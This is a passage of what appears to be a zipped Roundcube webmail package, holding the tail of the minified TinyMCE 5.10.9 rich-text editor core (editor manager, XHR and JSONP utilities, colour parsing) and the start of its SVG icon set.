aseURI,this.settings.referrer_policy&&(ou.ScriptLoader._setReferrerPolicy(this.settings.referrer_policy),eu.DOM.styleSheetLoader._setReferrerPolicy(this.settings.referrer_policy)),fu.languageLoad=this.settings.language_load,fu.baseURL=n.baseURL,this.id=e,this.setDirty(!1),this.documentBaseURI=new nv(this.settings.document_base_url,{base_uri:this.baseUri}),this.baseURI=this.baseUri,this.inline=!!this.settings.inline,this.shortcuts=new Ix(this),this.editorCommands=new cx(this),this.settings.cache_suffix&&(xt.cacheSuffix=this.settings.cache_suffix.replace(/^[\?\&]+/,"")),this.ui={registry:{addAutocompleter:(u={},(r={addButton:w(o={},"button"),addGroupToolbarButton:w(o,"grouptoolbarbutton"),addToggleButton:w(o,"togglebutton"),addMenuButton:w(o,"menubutton"),addSplitButton:w(o,"splitbutton"),addMenuItem:w(i={},"menuitem"),addNestedMenuItem:w(i,"nestedmenuitem"),addToggleMenuItem:w(i,"togglemenuitem"),addAutocompleter:w(a={},"autocompleter"),addContextMenu:w(s={},"contextmenu"),addContextToolbar:w(c={},"contexttoolbar"),addContextForm:w(c,"contextform"),addSidebar:w(l={},"sidebar"),addIcon:function(e,t){return u[e.toLowerCase()]=t},getAll:function(){return{buttons:o,menuItems:i,icons:u,popups:a,contextMenus:s,contextToolbars:c,sidebars:l}}}).addAutocompleter),addButton:r.addButton,addContextForm:r.addContextForm,addContextMenu:r.addContextMenu,addContextToolbar:r.addContextToolbar,addIcon:r.addIcon,addMenuButton:r.addMenuButton,addMenuItem:r.addMenuItem,addNestedMenuItem:r.addNestedMenuItem,addSidebar:r.addSidebar,addSplitButton:r.addSplitButton,addToggleButton:r.addToggleButton,addGroupToolbarButton:r.addGroupToolbarButton,addToggleMenuItem:r.addToggleMenuItem,getAll:r.getAll},styleSheetLoader:void 0,show:te,hide:te,enable:te,disable:te,isDisabled:D};var S,N,E,k,_,A=(k=au("design"),_=au({design:{activate:te,deactivate:te,editorReadOnly:!1},readonly:{activate:te,deactivate:te,editorReadOnly:!0}}),(N=S=this).serializer?hx(N):N.on("PreInit",function(){hx(N)}),(E=S).on("ShowCaret",function(e){px(E)&&e.preventDefault()}),E.on("ObjectSelected",function(e){px(E)&&e.preventDefault()}),{isReadOnly:function(){return px(S)},set:function(e){return function(e,t,n,r){if(r!==n.get()){if(!Ee(t,r))throw new Error("Editor mode '"+r+"' is invalid");e.initialized?Ex(e,n,t,r):e.on("init",function(){return Ex(e,n,t,r)})}}(S,_.get(),k,e)},get:function(){return k.get()},register:function(e,t){_.set(function(e,t,n){var r;if(T(Tx,t))throw new Error("Cannot override default mode "+t);return _e(_e({},e),((r={})[t]=_e(_e({},n),{deactivate:function(){try{n.deactivate()}catch(e){console.error("problem while deactivating editor mode "+t+":",e)}}}),r))}(_.get(),e,t))}});this.mode=A,this.setMode=A.set,n.fire("SetupEditor",{editor:this}),this.execCallback("setup",this),this.$=Ya.overrideDefaults(function(){return{context:x.inline?x.getBody():x.getDoc(),element:x.getBody()}})}function $x(t){var n=t.type;Jx(ow.get(),function(e){switch(n){case"scroll":e.fire("ScrollWindow",t);break;case"resize":e.fire("ResizeWindow",t)}})}function Wx(e){e!==ew&&(e?Ya(window).on("resize scroll",$x):Ya(window).off("resize scroll",$x),ew=e)}function Kx(t){var e=nw;delete tw[t.id];for(var n=0;n<tw.length;n++)if(tw[n]===t){tw.splice(n,1);break}return nw=U(nw,function(e){return t!==e}),ow.activeEditor===t&&(ow.activeEditor=0<nw.length?nw[0]:null),ow.focusedEditor===t&&(ow.focusedEditor=null),e.length!==nw.length}var Xx,Yx=eu.DOM,Gx=Nt.explode,Jx=Nt.each,Qx=Nt.extend,Zx=0,ew=!1,tw=[],nw=[],rw="CSS1Compat"!==document.compatMode,ow=_e(_e({},Ax),{baseURI:null,baseURL:null,defaultSettings:{},documentBaseURL:null,suffix:null,$:Ya,majorVersion:"5",minorVersion:"10.9",releaseDate:"2023-11-15",editors:tw,i18n:lu,activeEditor:null,focusedEditor:null,settings:{},setup:function(){var e,t="",n=nv.getDocumentBaseUrl(document.location);/^[^:]+:\/\/\/?[^\/]+\//.test(n)&&(n=n.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,""),/[\/\\]$/.test(n)||(n+="/"));var r=window.tinymce||window.tinyMCEPreInit;if(r)e=r.base||r.baseURL,t=r.suffix;else{for(var o,i=document.getElementsByTagName("script"),a=0;a<i.length;a++)if(""!==(o=i[a].src||"")){var u=o.substring(o.lastIndexOf("/"));if(/tinymce(\.full|\.jquery|)(\.min|\.dev|)\.js/.test(o)){-1!==u.indexOf(".min")&&(t=".min"),e=o.substring(0,o.lastIndexOf("/"));break}}!e&&document.currentScript&&(-1!==(o=document.currentScript.src).indexOf(".min")&&(t=".min"),e=o.substring(0,o.lastIndexOf("/")))}this.baseURL=new nv(n).toAbsolute(e),this.documentBaseURL=n,this.baseURI=new nv(this.baseURL),this.suffix=t,this.on("AddEditor",R(hd,this)),this.on("RemoveEditor",R(vd,this))},overrideDefaults:function(e){var t=e.base_url;t&&this._setBaseUrl(t);var n=e.suffix;e.suffix&&(this.suffix=n);var r=(this.defaultSettings=e).plugin_base_urls;void 0!==r&&ne(r,function(e,t){fu.PluginManager.urls[t]=e})},init:function(r){function u(e){var t=e.id;return t||(t=ue(e,"name").filter(function(e){return!Yx.get(e)}).getOrThunk(Yx.uniqueId),e.setAttribute("id",t)),t}function s(e,t){return t.constructor===RegExp?t.test(e.className):Yx.hasClass(e,t)}var n,c=this,l=Nt.makeMap("area base basefont br col frame hr img input isindex link meta param embed source wbr track colgroup option table tbody tfoot thead tr th td script noscript style textarea video audio iframe object menu"," "),f=function(e){n=e},t=function(){function n(e,t,n){var r=new Vx(e,t,c);a.push(r),r.on("init",function(){++i===o.length&&f(a)}),r.targetElm=r.targetElm||n,r.render()}var o,e,i=0,a=[];Yx.unbind(window,"ready",t),(e=r.onpageload)&&e.apply(c,[]),o=Ya.unique(function(t){var n=[];if(xt.browser.isIE()&&xt.browser.version.major<11)return wy("TinyMCE does not support the browser you are using. For a list of supported browsers please see: https://www.tinymce.com/docs/get-started/system-requirements/"),[];if(rw)return wy("Failed to initialize the editor as the document is not in standards mode. TinyMCE requires standards mode."),[];if(t.types)return Jx(t.types,function(e){n=n.concat(Yx.select(e.selector))}),n;if(t.selector)return Yx.select(t.selector);if(t.target)return[t.target];switch(t.mode){case"exact":var e=t.elements||"";0<e.length&&Jx(Gx(e),function(t){var e=Yx.get(t);e?n.push(e):Jx(document.forms,function(e){Jx(e.elements,function(e){e.name===t&&(t="mce_editor_"+Zx++,Yx.setAttrib(e,"id",t),n.push(e))})})});break;case"textareas":case"specific_textareas":Jx(Yx.select("textarea"),function(e){t.editor_deselector&&s(e,t.editor_deselector)||t.editor_selector&&!s(e,t.editor_selector)||n.push(e)})}return n}(r)),r.types?Jx(r.types,function(t){Nt.each(o,function(e){return!Yx.is(e,t.selector)||(n(u(e),Qx({},r,t),e),!1)})}):(Nt.each(o,function(e){var t;(t=c.get(e.id))&&t.initialized&&!(t.getContainer()||t.getBody()).parentNode&&(Kx(t),t.unbindAllNativeEvents(),t.destroy(!0),t.removed=!0)}),0===(o=Nt.grep(o,function(e){return!c.get(e.id)})).length?f([]):Jx(o,function(e){var t=e;r.inline&&t.tagName.toLowerCase()in l?wy("Could not initialize inline editor on invalid inline target element",e):n(u(e),r,e)}))};return c.settings=r,Yx.bind(window,"ready",t),new _r(function(t){n?t(n):f=function(e){t(e)}})},get:function(t){return 0===arguments.length?nw.slice(0):X(t)?M(nw,function(e){return e.id===t}).getOr(null):N(t)&&nw[t]||null},add:function(e){var n=this;return tw[e.id]===e||(null===n.get(e.id)&&("length"!==e.id&&(tw[e.id]=e),tw.push(e),nw.push(e)),Wx(!0),n.activeEditor=e,n.fire("AddEditor",{editor:e}),Xx||(Xx=function(e){var t=n.fire("BeforeUnload");if(t.returnValue)return e.preventDefault(),e.returnValue=t.returnValue,t.returnValue},window.addEventListener("beforeunload",Xx))),e},createEditor:function(e,t){return this.add(new Vx(e,t,this))},remove:function(e){var t,n,r=this;if(e){if(!X(e))return n=e,l(r.get(n.id))?null:(Kx(n)&&r.fire("RemoveEditor",{editor:n}),0===nw.length&&window.removeEventListener("beforeunload",Xx),n.remove(),Wx(0<nw.length),n);Jx(Yx.select(e),function(e){(n=r.get(e.id))&&r.remove(n)})}else for(t=nw.length-1;0<=t;t--)r.remove(nw[t])},execCommand:function(e,t,n){var r=this.get(n);switch(e){case"mceAddEditor":return this.get(n)||new Vx(n,this.settings,this).render(),!0;case"mceRemoveEditor":return r&&r.remove(),!0;case"mceToggleEditor":return r?r.isHidden()?r.show():r.hide():this.execCommand("mceAddEditor",!1,n),!0}return!!this.activeEditor&&this.activeEditor.execCommand(e,t,n)},triggerSave:function(){Jx(nw,function(e){e.save()})},addI18n:function(e,t){lu.add(e,t)},translate:function(e){return lu.translate(e)},setActive:function(e){var t=this.activeEditor;this.activeEditor!==e&&(t&&t.fire("deactivate",{relatedTarget:e}),e.fire("activate",{relatedTarget:t})),this.activeEditor=e},_setBaseUrl:function(e){this.baseURL=new nv(this.documentBaseURL).toAbsolute(e.replace(/\/+$/,"")),this.baseURI=new nv(this.baseURL)}});function iw(e,t,n){var r=t.x,o=t.y,i=e.w,a=e.h,u=t.w,s=t.h,c=(n||"").split("");return"b"===c[0]&&(o+=s),"r"===c[1]&&(r+=u),"c"===c[0]&&(o+=gw(s/2)),"c"===c[1]&&(r+=gw(u/2)),"b"===c[3]&&(o-=a),"r"===c[4]&&(r-=i),"c"===c[3]&&(o-=gw(a/2)),"c"===c[4]&&(r-=gw(i/2)),uw(r,o,i,a)}function aw(){}ow.setup();function uw(e,t,n,r){return{x:e,y:t,w:n,h:r}}var sw,cw,lw,fw,dw=Math.min,mw=Math.max,gw=Math.round,pw={inflate:function(e,t,n){return uw(e.x-t,e.y-n,e.w+2*t,e.h+2*n)},relativePosition:iw,findBestRelativePosition:function(e,t,n,r){for(var o,i=0;i<r.length;i++)if((o=iw(e,t,r[i])).x>=n.x&&o.x+o.w<=n.w+n.x&&o.y>=n.y&&o.y+o.h<=n.h+n.y)return r[i];return null},intersect:function(e,t){var n=mw(e.x,t.x),r=mw(e.y,t.y),o=dw(e.x+e.w,t.x+t.w),i=dw(e.y+e.h,t.y+t.h);return o-n<0||i-r<0?null:uw(n,r,o-n,i-r)},clamp:function(e,t,n){var r=e.x,o=e.y,i=e.x+e.w,a=e.y+e.h,u=t.x+t.w,s=t.y+t.h,c=mw(0,t.x-r),l=mw(0,t.y-o),f=mw(0,i-u),d=mw(0,a-s);return r+=c,o+=l,n&&(i+=c,a+=l,r-=f,o-=d),uw(r,o,(i-=f)-r,(a-=d)-o)},create:uw,fromClientRect:function(e){return uw(e.left,e.top,e.width,e.height)}},hw=(sw={},cw={},{load:function(r,o){var i='Script at URL "'+o+'" failed to load',a='Script at URL "'+o+"\" did not call `tinymce.Resource.add('"+r+"', data)` within 1 second";if(void 0!==sw[r])return sw[r];var e=new _r(function(e,t){var n=function(e,t,n){function r(n){return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];o||(o=!0,null!==i&&(clearTimeout(i),i=null),n.apply(null,e))}}void 0===n&&(n=1e3);var o=!1,i=null,a=r(e),u=r(t);return{start:function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];o||null!==i||(i=setTimeout(function(){return u.apply(null,e)},n))},resolve:a,reject:u}}(e,t);cw[r]=n.resolve,ou.ScriptLoader.loadScript(o,function(){return n.start(a)},function(){return n.reject(i)})});return sw[r]=e},add:function(e,t){void 0!==cw[e]&&(cw[e](t),delete cw[e]),sw[e]=_r.resolve(t)}}),vw=Nt.each,bw=Nt.extend;aw.extend=lw=function(n){function r(){var e,t,n;if(!fw&&(this.init&&this.init.apply(this,arguments),t=this.Mixins))for(e=t.length;e--;)(n=t[e]).init&&n.init.apply(this,arguments)}function t(){return this}var o=this.prototype;fw=!0;var i=new this;return fw=!1,n.Mixins&&(vw(n.Mixins,function(e){for(var t in e)"init"!==t&&(n[t]=e[t])}),o.Mixins&&(n.Mixins=o.Mixins.concat(n.Mixins))),n.Methods&&vw(n.Methods.split(","),function(e){n[e]=t}),n.Properties&&vw(n.Properties.split(","),function(e){var t="_"+e;n[e]=function(e){return void 0!==e?(this[t]=e,this):this[t]}}),n.Statics&&vw(n.Statics,function(e,t){r[t]=e}),n.Defaults&&o.Defaults&&(n.Defaults=bw({},o.Defaults,n.Defaults)),ne(n,function(e,t){var n,r;"function"==typeof e&&o[t]?i[t]=(n=t,r=e,function(){var e=this._super;this._super=o[n];var t=r.apply(this,arguments);return this._super=e,t}):i[t]=e}),r.prototype=i,(r.constructor=r).extend=lw,r};var yw,Cw,xw,ww=Math.min,Sw=Math.max,Nw=Math.round,Ew={serialize:function(e){var t=JSON.stringify(e);return X(t)?t.replace(/[\u0080-\uFFFF]/g,function(e){var t=e.charCodeAt(0).toString(16);return"\\u"+"0000".substring(t.length)+t}):t},parse:function(e){try{return JSON.parse(e)}catch(e){}}},kw={callbacks:{},count:0,send:function(t){var n=this,r=eu.DOM,o=(void 0!==t.count?t:n).count,i="tinymce_jsonp_"+o;n.callbacks[o]=function(e){r.remove(i),delete n.callbacks[o],t.callback(e)},r.add(r.doc.body,"script",{id:i,src:t.url,type:"text/javascript"}),n.count++}},_w=_e(_e({},Ax),{send:function(e){var t,n=0,r=function(){!e.async||4===t.readyState||1e4<n++?(e.success&&n<1e4&&200===t.status?e.success.call(e.success_scope,""+t.responseText,t,e):e.error&&e.error.call(e.error_scope,1e4<n?"TIMED_OUT":"GENERAL",t,e),t=null):Ar.setTimeout(r,10)};if(e.scope=e.scope||this,e.success_scope=e.success_scope||e.scope,e.error_scope=e.error_scope||e.scope,e.async=!1!==e.async,e.data=e.data||"",_w.fire("beforeInitialize",{settings:e}),(t=new XMLHttpRequest).overrideMimeType&&t.overrideMimeType(e.content_type),t.open(e.type||(e.data?"POST":"GET"),e.url,e.async),e.crossDomain&&(t.withCredentials=!0),e.content_type&&t.setRequestHeader("Content-Type",e.content_type),e.requestheaders&&Nt.each(e.requestheaders,function(e){t.setRequestHeader(e.key,e.value)}),t.setRequestHeader("X-Requested-With","XMLHttpRequest"),(t=_w.fire("beforeSend",{xhr:t,settings:e}).xhr).send(e.data),!e.async)return r();Ar.setTimeout(r,10)}}),Aw=Nt.extend,Rw=(Dw.sendRPC=function(e){return(new Dw).send(e)},Dw.prototype.send=function(e){var n=e.error,r=e.success,o=Aw(this.settings,e);o.success=function(e,t){(e=void 0===(e=Ew.parse(e))?{error:"JSON Parse error."}:e).error?n.call(o.error_scope||o.scope,e.error,t):r.call(o.success_scope||o.scope,e.result)},o.error=function(e,t){n&&n.call(o.error_scope||o.scope,e,t)},o.data=Ew.serialize({id:e.id||"c"+this.count++,method:e.method,params:e.params}),o.content_type="application/json",_w.send(o)},Dw);function Dw(e){this.settings=Aw({},e),this.count=0}try{var Tw,Ow="__storage_test__";(Tw=window.localStorage).setItem(Ow,Ow),Tw.removeItem(Ow)}catch(e){yw={},Cw=[],xw={getItem:function(e){return yw[e]||null},setItem:function(e,t){Cw.push(e),yw[e]=String(t)},key:function(e){return Cw[e]},removeItem:function(t){Cw=Cw.filter(function(e){return e===t}),delete yw[t]},clear:function(){Cw=[],yw={}},length:0},Object.defineProperty(xw,"length",{get:function(){return Cw.length},configurable:!1,enumerable:!1}),Tw=xw}var Bw={geom:{Rect:pw},util:{Promise:_r,Delay:Ar,Tools:Nt,VK:If,URI:nv,Class:aw,EventDispatcher:yx,Observable:Ax,I18n:lu,XHR:_w,JSON:Ew,JSONRequest:Rw,JSONP:kw,LocalStorage:Tw,Color:function(e){function t(e){var t;return"object"==typeof e?"r"in e?(u=e.r,s=e.g,c=e.b):"v"in e&&function(e,t,n){if(e=(parseInt(e,10)||0)%360,t=parseInt(t,10)/100,n=parseInt(n,10)/100,t=Sw(0,ww(t,1)),n=Sw(0,ww(n,1)),0!==t){var r=e/60,o=n*t,i=o*(1-Math.abs(r%2-1)),a=n-o;switch(Math.floor(r)){case 0:u=o,s=i,c=0;break;case 1:u=i,s=o,c=0;break;case 2:u=0,s=o,c=i;break;case 3:u=0,s=i,c=o;break;case 4:u=i,s=0,c=o;break;case 5:u=o,s=0,c=i;break;default:u=s=c=0}u=Nw(255*(u+a)),s=Nw(255*(s+a)),c=Nw(255*(c+a))}else u=s=c=Nw(255*n)}(e.h,e.s,e.v):(t=/rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)[^\)]*\)/gi.exec(e))?(u=parseInt(t[1],10),s=parseInt(t[2],10),c=parseInt(t[3],10)):(t=/#([0-F]{2})([0-F]{2})([0-F]{2})/gi.exec(e))?(u=parseInt(t[1],16),s=parseInt(t[2],16),c=parseInt(t[3],16)):(t=/#([0-F])([0-F])([0-F])/gi.exec(e))&&(u=parseInt(t[1]+t[1],16),s=parseInt(t[2]+t[2],16),c=parseInt(t[3]+t[3],16)),u=u<0?0:255<u?255:u,s=s<0?0:255<s?255:s,c=c<0?0:255<c?255:c,n}var n={},u=0,s=0,c=0;return e&&t(e),n.toRgb=function(){return{r:u,g:s,b:c}},n.toHsv=function(){return e=u,t=s,n=c,o=0,(i=ww(e/=255,ww(t/=255,n/=255)))===(a=Sw(e,Sw(t,n)))?{h:0,s:0,v:100*(o=i)}:(r=(a-i)/a,{h:Nw(60*((e===i?3:n===i?1:5)-(e===i?t-n:n===i?e-t:n-e)/((o=a)-i))),s:Nw(100*r),v:Nw(100*o)});var e,t,n,r,o,i,a},n.toHex=function(){function e(e){return 1<(e=parseInt(e,10).toString(16)).length?e:"0"+e}return"#"+e(u)+e(s)+e(c)},n.parse=t,n},ImageUploader:function(n){var e=rb(),r=sb(n,e);return{upload:function(e,t){return r.upload(e,(t=void 0===t||t)?ub(n):void 0)}}}},dom:{EventUtils:ci,Sizzle:ca,DomQuery:Ya,TreeWalker:Dr,TextSeeker:Au,DOMUtils:eu,ScriptLoader:ou,RangeUtils:Lf,Serializer:dv,StyleSheetLoader:Sr,ControlSelection:Sf,BookmarkManager:Hl,Selection:Fh,Event:ci.Event},html:{Styles:ao,Entities:Zo,Node:jd,Schema:oo,SaxParser:iv,DomParser:cv,Writer:nm,Serializer:rm},Env:xt,AddOnManager:fu,Annotator:zl,Formatter:mb,UndoManager:pb,EditorCommands:cx,WindowManager:Gv,NotificationManager:Ev,EditorObservable:Dx,Shortcuts:Ix,Editor:Vx,FocusManager:Fd,EditorManager:ow,DOM:eu.DOM,ScriptLoader:ou.ScriptLoader,PluginManager:Xv,ThemeManager:Yv,IconManager:Vv,Resource:hw,trim:Nt.trim,isArray:Nt.isArray,is:Nt.is,toArray:Nt.toArray,makeMap:Nt.makeMap,each:Nt.each,map:Nt.map,grep:Nt.grep,inArray:Nt.inArray,extend:Nt.extend,create:Nt.create,walk:Nt.walk,createNS:Nt.createNS,resolve:Nt.resolve,explode:Nt.explode,_addCacheSuffix:Nt._addCacheSuffix,isOpera:xt.opera,isWebKit:xt.webkit,isIE:xt.ie,isGecko:xt.gecko,isMac:xt.mac},Pw=Nt.extend(ow,Bw),Lw=Pw;window.tinymce=Lw,window.tinyMCE=Lw,function(e){if("object"==typeof module)try{module.exports=e}catch(e){}}(Pw)}();PK
h�\��%H����-program/js/tinymce/icons/default/icons.min.jsnu�[���tinymce.IconManager.add("default",{icons:{"accessibility-check":'<svg width="24" height="24"><path d="M12 2a2 2 0 012 2 2 2 0 01-2 2 2 2 0 01-2-2c0-1.1.9-2 2-2zm8 7h-5v12c0 .6-.4 1-1 1a1 1 0 01-1-1v-5c0-.6-.4-1-1-1a1 1 0 00-1 1v5c0 .6-.4 1-1 1a1 1 0 01-1-1V9H4a1 1 0 110-2h16c.6 0 1 .4 1 1s-.4 1-1 1z" fill-rule="nonzero"/></svg>',"action-next":'<svg width="24" height="24"><path fill-rule="nonzero" d="M5.7 7.3a1 1 0 00-1.4 1.4l7.7 7.7 7.7-7.7a1 1 0 10-1.4-1.4L12 13.6 5.7 7.3z"/></svg>',"action-prev":'<svg width="24" height="24"><path fill-rule="nonzero" d="M18.3 15.7a1 1 0 001.4-1.4L12 6.6l-7.7 7.7a1 1 0 001.4 1.4L12 9.4l6.3 6.3z"/></svg>',"align-center":'<svg width="24" height="24"><path d="M5 5h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 110-2zm3 4h8c.6 0 1 .4 1 1s-.4 1-1 1H8a1 1 0 110-2zm0 8h8c.6 0 1 .4 1 1s-.4 1-1 1H8a1 1 0 010-2zm-3-4h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 010-2z" fill-rule="evenodd"/></svg>',"align-justify":'<svg width="24" height="24"><path d="M5 5h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 110-2zm0 4h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 110-2zm0 4h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 010-2zm0 4h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 010-2z" fill-rule="evenodd"/></svg>',"align-left":'<svg width="24" height="24"><path d="M5 5h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 110-2zm0 4h8c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 110-2zm0 8h8c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 010-2zm0-4h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 010-2z" fill-rule="evenodd"/></svg>',"align-none":'<svg width="24" height="24"><path d="M14.2 5L13 7H5a1 1 0 110-2h9.2zm4 0h.8a1 1 0 010 2h-2l1.2-2zm-6.4 4l-1.2 2H5a1 1 0 010-2h6.8zm4 0H19a1 1 0 010 2h-4.4l1.2-2zm-6.4 4l-1.2 2H5a1 1 0 010-2h4.4zm4 0H19a1 1 0 010 2h-6.8l1.2-2zM7 17l-1.2 2H5a1 1 0 010-2h2zm4 0h8a1 1 0 010 2H9.8l1.2-2zm5.2-13.5l1.3.7-9.7 16.3-1.3-.7 9.7-16.3z" fill-rule="evenodd"/></svg>',"align-right":'<svg width="24" height="24"><path d="M5 5h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 110-2zm6 4h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 010-2zm0 8h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 010-2zm-6-4h14c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 010-2z" fill-rule="evenodd"/></svg>',"arrow-left":'<svg width="24" height="24"><path d="M5.6 13l12 6a1 1 0 001.4-1V6a1 1 0 00-1.4-.9l-12 6a1 1 0 000 1.8z" fill-rule="evenodd"/></svg>',"arrow-right":'<svg width="24" height="24"><path d="M18.5 13l-12 6A1 1 0 015 18V6a1 1 0 011.4-.9l12 6a1 1 0 010 1.8z" fill-rule="evenodd"/></svg>',bold:'<svg width="24" height="24"><path d="M7.8 19c-.3 0-.5 0-.6-.2l-.2-.5V5.7c0-.2 0-.4.2-.5l.6-.2h5c1.5 0 2.7.3 3.5 1 .7.6 1.1 1.4 1.1 2.5a3 3 0 01-.6 1.9c-.4.6-1 1-1.6 1.2.4.1.9.3 1.3.6s.8.7 1 1.2c.4.4.5 1 .5 1.6 0 1.3-.4 2.3-1.3 3-.8.7-2.1 1-3.8 1H7.8zm5-8.3c.6 0 1.2-.1 1.6-.5.4-.3.6-.7.6-1.3 0-1.1-.8-1.7-2.3-1.7H9.3v3.5h3.4zm.5 6c.7 0 1.3-.1 1.7-.4.4-.4.6-.9.6-1.5s-.2-1-.7-1.4c-.4-.3-1-.4-2-.4H9.4v3.8h4z" fill-rule="evenodd"/></svg>',bookmark:'<svg width="24" height="24"><path d="M6 4v17l6-4 6 4V4c0-.6-.4-1-1-1H7a1 1 0 00-1 1z" fill-rule="nonzero"/></svg>',"border-style":'<svg width="24" height="24"><g fill-rule="evenodd"><rect width="18" height="2" x="3" y="6" rx="1"/><rect width="2.8" height="2" x="3" y="16" rx="1"/><rect width="2.8" height="2" x="6.8" y="16" rx="1"/><rect width="2.8" height="2" x="10.6" y="16" rx="1"/><rect width="2.8" height="2" x="14.4" y="16" rx="1"/><rect width="2.8" height="2" x="18.2" y="16" rx="1"/><rect width="8" height="2" x="3" y="11" rx="1"/><rect width="8" height="2" x="13" y="11" rx="1"/></g></svg>',"border-width":'<svg width="24" height="24"><g fill-rule="evenodd"><rect width="18" height="5" x="3" y="5" rx="1"/><rect width="18" height="3.5" x="3" y="11.5" rx="1"/><rect width="18" height="2" x="3" y="17" rx="1"/></g></svg>',brightness:'<svg width="24" height="24"><path d="M12 17c.3 0 .5.1.7.3.2.2.3.4.3.7v1c0 .3-.1.5-.3.7a1 1 0 01-.7.3 1 1 0 01-.7-.3 1 1 0 01-.3-.7v-1c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3zm0-10a1 1 0 01-.7-.3A1 1 0 0111 6V5c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3.3 0 .5.1.7.3.2.2.3.4.3.7v1c0 .3-.1.5-.3.7a1 1 0 01-.7.3zm7 4c.3 0 .5.1.7.3.2.2.3.4.3.7 0 .3-.1.5-.3.7a1 1 0 01-.7.3h-1a1 1 0 01-.7-.3 1 1 0 01-.3-.7c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3h1zM7 12c0 .3-.1.5-.3.7a1 1 0 01-.7.3H5a1 1 0 01-.7-.3A1 1 0 014 12c0-.3.1-.5.3-.7.2-.2.4-.3.7-.3h1c.3 0 .5.1.7.3.2.2.3.4.3.7zm10 3.5l.7.8c.2.1.3.4.3.6 0 .3-.1.6-.3.8a1 1 0 01-.8.3 1 1 0 01-.6-.3l-.8-.7a1 1 0 01-.3-.8c0-.2.1-.5.3-.7a1 1 0 011.4 0zm-10-7l-.7-.8a1 1 0 01-.3-.6c0-.3.1-.6.3-.8.2-.2.5-.3.8-.3.2 0 .5.1.7.3l.7.7c.2.2.3.5.3.8 0 .2-.1.5-.3.7a1 1 0 01-.7.3 1 1 0 01-.8-.3zm10 0a1 1 0 01-.8.3 1 1 0 01-.7-.3 1 1 0 01-.3-.7c0-.3.1-.6.3-.8l.8-.7c.1-.2.4-.3.6-.3.3 0 .6.1.8.3.2.2.3.5.3.8 0 .2-.1.5-.3.7l-.7.7zm-10 7c.2-.2.5-.3.8-.3.2 0 .5.1.7.3a1 1 0 010 1.4l-.8.8a1 1 0 01-.6.3 1 1 0 01-.8-.3 1 1 0 01-.3-.8c0-.2.1-.5.3-.6l.7-.8zM12 8a4 4 0 013.7 2.4 4 4 0 010 3.2A4 4 0 0112 16a4 4 0 01-3.7-2.4 4 4 0 010-3.2A4 4 0 0112 8zm0 6.5c.7 0 1.3-.2 1.8-.7.5-.5.7-1.1.7-1.8s-.2-1.3-.7-1.8c-.5-.5-1.1-.7-1.8-.7s-1.3.2-1.8.7c-.5.5-.7 1.1-.7 1.8s.2 1.3.7 1.8c.5.5 1.1.7 1.8.7z" fill-rule="evenodd"/></svg>',browse:'<svg width="24" height="24"><path d="M19 4a2 2 0 012 2v12a2 2 0 01-2 2h-4v-2h4V8H5v10h4v2H5a2 2 0 01-2-2V6c0-1.1.9-2 2-2h14zm-8 9.4l-2.3 2.3a1 1 0 11-1.4-1.4l4-4a1 1 0 011.4 0l4 4a1 1 0 01-1.4 1.4L13 13.4V20a1 1 0 01-2 0v-6.6z" fill-rule="nonzero"/></svg>',cancel:'<svg width="24" height="24"><path d="M12 4.6a7.4 7.4 0 110 14.8 7.4 7.4 0 010-14.8zM12 3a9 9 0 100 18 9 9 0 000-18zm0 8L14.8 8l1 1.1-2.7 2.8 2.7 2.7-1.1 1.1-2.7-2.7-2.7 2.7-1-1.1 2.6-2.7-2.7-2.7 1-1.1 2.8 2.7z" fill-rule="nonzero"/></svg>',"cell-background-color":'<svg width="24" height="24"><path d="M15.7 2l1.6 1.6-2.7 2.6 5.9 5.8c.7.7.7 1.7 0 2.4l-6.3 6.1a1.7 1.7 0 01-2.4 0l-6.3-6.1c-.7-.7-.7-1.7 0-2.4L15.7 2zM18 12l-4.5-4L9 12h9zM4 16s2 2.4 2 3.8C6 21 5.1 22 4 22s-2-1-2-2.2C2 18.4 4 16 4 16z"/></svg>',"cell-border-color":'<svg width="24" height="24"><g fill-rule="evenodd"><path fill-rule="nonzero" d="M5 13v5h2v2H5a2 2 0 01-2-2v-5h2zm8-7V4h6a2 2 0 012 2h-8z" opacity=".2"/><path fill-rule="nonzero" d="M13 4v2H5v7H3V6c0-1.1.9-2 2-2h8zm-2.6 14.1l.1-.1.1.1.2.3.2.2.2.2c.4.6.8 1.2.8 1.7 0 .8-.7 1.5-1.5 1.5S9 21.3 9 20.5c0-.5.4-1.1.8-1.7l.2-.2.2-.2.2-.3z"/><path d="M13 11l-2 2H5v-2h6V6h2z"/><path fill-rule="nonzero" d="M18.4 8l1 1-1.8 1.9 4 4c.5.4.5 1.1 0 1.6l-4.3 4.2a1.2 1.2 0 01-1.6 0l-4.4-4.2c-.4-.5-.4-1.2 0-1.7l7-6.8zm1.6 7l-3-3-3 3h6z"/></g></svg>',"change-case":'<svg width="24" height="24"><path d="M18.4 18.2v-.6c-.5.8-1.3 1.2-2.4 1.2-2.2 0-3.3-1.6-3.3-4.8 0-3.1 1-4.7 3.3-4.7 1.1 0 1.8.3 2.4 1.1v-.6c0-.5.4-.8.8-.8s.8.3.8.8v8.4c0 .5-.4.8-.8.8a.8.8 0 01-.8-.8zm-2-7.4c-1.3 0-1.8.9-1.8 3.2 0 2.4.5 3.3 1.7 3.3 1.3 0 1.8-.9 1.8-3.2 